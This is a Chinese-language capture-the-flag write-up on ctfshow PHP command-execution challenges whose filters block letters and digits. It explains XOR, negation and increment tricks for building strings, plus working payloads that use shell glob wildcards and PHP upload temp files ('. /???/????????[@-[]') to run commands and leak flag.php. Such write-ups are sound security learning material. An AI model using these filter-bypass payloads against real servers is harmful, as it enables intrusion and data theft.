前言

做ctfshow的时候,碰到命令执行的题,发现这两种类型的题很有趣,学到了很多知识。
前置知识:
shell下可以利用.来执行任意脚本

Linux文件名支持用glob通配符代替

一、无字母命令执行

方法1

异或:在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

方法2

取反:将汉字(%ff%ff%ff)中的某个字符取出来,来进行取反,即可得到字母

例如~(‘和’{2})=s,意思是将代表和的第二个字符取出,来进行取反。

PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

方法3

位运算:也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

echo ''.[]

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array再取第一个或者第四个即可得到a或者A

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S

ctfshow例题1

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

先放大概了解下下一个思路payload: ?c=/???/????64%20????.???
?c=/???/???/???2 ???.??? —》 然后在url + /flag.php.bz2
前置知识:
bin目录:

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php 对应的就是/???/???64%20???.???

另外一种payload
/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

二、无字母数字命令执行

 <?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

解题思路
上传一个可以上传文件的post数据包(我是上传到自己的vps)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://xxxxxxxxxxxxxxxxxxx.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

在这个页面上上传1.php,然后抓包

#!/bin/sh
ls

构造好payload,执行命令。
payload构造如下

  • 用. file执行文件,是不需要file有x权限的。所以,如果目标服务器上有一个我们可控的文件,就可以利用.执行它。

  • 我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,php的上传实际上是接受multipart/form-data然后将它保存在临时文件中,php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。
    php接收到上传的POST请求,就会保存一个临时文件,且命名规则一直是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。(可参考后面总结中颖奇’blog,里面有详细说明)

  • Linux下的glob通配符

	*可以代替0个及以上任意字符
	?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????。但是要注意通配符匹配到的文件很多。

  • glob支持用[^x]的方法来构造“这个位置不是字符x”

所以可以将一些特殊字符给排除,例如:

php_333  -> ???[^_ ]???,即可排除php_333。
  • glob支持利用[0-9]来表示一个范围。可见大写字母位于@[之间,可以利用[@-[]来表示大写字母,通过这一步即可排除其他干扰选项。

最后的payload

?c=.+/???/????????[@-[]

在这里插入图片描述

总结

参考文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.gem-love.com/websecurity/1407.html#PHP%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C
Logo

更多推荐